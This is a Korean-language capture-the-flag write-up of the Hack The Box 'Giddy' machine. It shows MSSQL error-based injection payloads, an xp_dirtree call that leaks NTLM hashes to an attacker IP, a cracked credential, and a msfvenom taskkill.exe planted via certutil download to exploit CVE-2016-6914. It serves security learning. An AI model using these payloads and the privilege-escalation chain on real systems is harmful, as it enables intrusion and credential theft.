Giddy

meowyeok

HTB|Jul 24, 2026|Last edited: Jul 24, 2026|
 
notion image
 

Reconnaissance

nmap -sV 10.129.8.86
notion image
  • http(80), https(443) 포트와 윈도우 RDP포트(3389), WinRM(5985) 포트가 열려있다.
 
notion image
  • 80, 443 두포트 모두 강아지가 이러고 있고 별건 없어보인다 (IIS Windows Server)
 
nuclei -u 10.129.8.86
notion image
  • 이 결과에서 shortscan에 취약하다고 나와서 해봤지만 이렇다할 단서는 없었다.
./shortscan http://10.129.8.86/
notion image
 
gobuster dir -u 10.129.8.86 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 60
notion image
  • /remote 엔드포인트와 /mvc 엔드포인트가 존재한다.
 
/remote
notion image
  • 아마 여기가 중요한 공격표면인듯하다.
  • 이제 여기에 쓰이는 크리덴셜을 확보해야한다.
 
/mvc
notion image
  • 이러한 CMS같은 신기한 페이지가 존재했다.
 
notion image
  • 둘러보다가 Search.aspx 페이지에서 sqli가 발생하는걸 발견했다!!
  • C:\Users\jnogueira\Downloads\owasp10\1-owasp-top10-m1-injection-exercise-files\before\1-Injection\Search.aspx.cs:30 이부분을 보니 owasp top10 sqli 실습용 페이지인것 같다
 

Exploitation

a' AND 1=CONVERT(int, (SELECT DB_NAME()))--
a' AND 1=CONVERT(int, (SELECT SYSTEM_USER))--
a' AND 1=CONVERT(int, @@version)--
notion image
notion image
notion image
  • sqli를 이용해서 이런식으로 의도적인 에러를 유발하면서 DB에 대한 여러 정보를 얻어낼 수 있었다 (DBname, username, DBversion…)
 
sudo responder -I tun0
a'; EXEC master.dbo.xp_dirtree '\\10.10.14.116\share';—
notion image
  • mssql에 SQL 구문을 실행할 수 있는 상황이기 때문에 NTLM relay attack을 시도해 볼 수 있었다.
 
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
  • ( stacy / xNnWo6272k7x )
 
evil-winrm -i 10.129.8.108 -u Stacy -p 'xNnWo6272k7x'
notion image
  • 얻어낸 크리덴셜로 winrm에 붙어보니 성공하였다
  • user flag 획득!!
 

Privilege Escalation

notion image
notion image
  • 먼저 Winpeas를 돌려보려고 exe와 bat파일 모두 실행해 보았지만 group policy에 막히는 상태였다.
  • 그래서 실행이 될법한 C:\Windows\Temp, C:\Windows\Tasks 에서 똑같이 시도해보았다.
 
notion image
  • C:\Windows\Tasks 경로에서 실행할 수 있었다.
 
notion image
  • 일단 unifi-video라는 키워드가 눈에띈다. (처음 winrm접근시에 Stacy/Document에도 관련 파일이 존재했었음)
  • 그리고 unattend.xml도 관리자의 자동 설정 관련된 내용도 있을 수 있기 때문에 봐야한다.
 
cat C:\Windows\Panther\Unattend.xml
notion image
  • 일단 unattend.xml부터 읽어봤는데 뜻밖에 응원을 받았다..ㅋㅋ
 
Get-Content C:\ProgramData\unifi-video\logs\server.log -TotalCount 20
notion image
  • 그리고 unifi-video에 대해 구글링을 해봤는데 3.8 이전버전에서 CVE가 존재하는걸 확인했다.
  • 그리고 로그 앞단을 확인해서 부팅시에 3.7.3으로 부팅되는걸 확인했다!
 
CVE-2016-6914
  • unifi-video 서비스가 종료될 때 프로세스를 정리하기 위해 윈도우 기본 명령어인 taskkill.exe를 호출한다.
  • 이때 절대경로를 지정하지 않고 taskkill.exe로 지정해서 현재 경로부터 실행파일을 찾기 때문에 해당 경로에 같은 이름의 악성 스크립트를 저장해 놓으면 root 권한으로 원하는 스크립트를 실행시킬 수 있다.
 
icacls .
notion image
  • 먼저 CVE를 활용하기 위해 해당 경로에 파일 쓰기권한이 있는지 체크
  • 상속(Inherit) 규칙
    • (I) : 상위 폴더에서 물려받음 (Inherited)
    • (OI) : 하위 파일에 똑같이 적용 (Object Inherit)
    • (CI) : 하위 폴더에 똑같이 적용 (Container Inherit)
    • (IO) : 현재 폴더는 냅두고 하위에만 적용 (Inherit Only)
  • 권한
    • (F) : 모든 권한 (Full Control) - 관리자용
    • (RX) : 읽기 및 실행 (Read & eXecute) - 일반 사용자 기본값
    • (WD) : 파일 쓰기/생성 (Write Data)
    • (AD) : 내용 추가/폴더 생성 (Append Data)
    • (WEA) : 확장 속성 변경 (Write Extended Attributes)
    • (WA) : 파일 속성 변경 (Write Attributes)
  • 일반 Users가 파일쓰기와 추가 등이 가능했다!!
 
msfvenom -p windows/exec CMD="net localgroup administrators Stacy /add" -f exe -o taskkill.exe
notion image
  • 기존 Stacy 유저를 administrators 그룹에 추가하는 내용의 스크립트를 taskkill.exe로 만든다.
 
certutil.exe -urlcache -f http://10.10.14.116:100/taskkill.exe taskkill.exe
notion image
  • 그리고 unifi-video 경로에 복사한다.
 
Stop-Service "UniFiVideoService”
notion image
  • 마지막으로 UniFiVideoService를 종료해주면 현재폴더의 taskkill.exe가 먼저 호출되면서 Stacy가 관리자 그룹에 추가될것이다.
  • 참고로 여기서 net stop "UniFiVideoService” 를 먼저 시도하였는데 권한이 부족해서 Stop-Service를 사용하니 작동했다.
 
notion image
  • Winrm에 재접속 해주면 Administrator 폴더에 접근할수 있게되어 권한상승에 성공한다.
  • root flag 획득!!
Loading...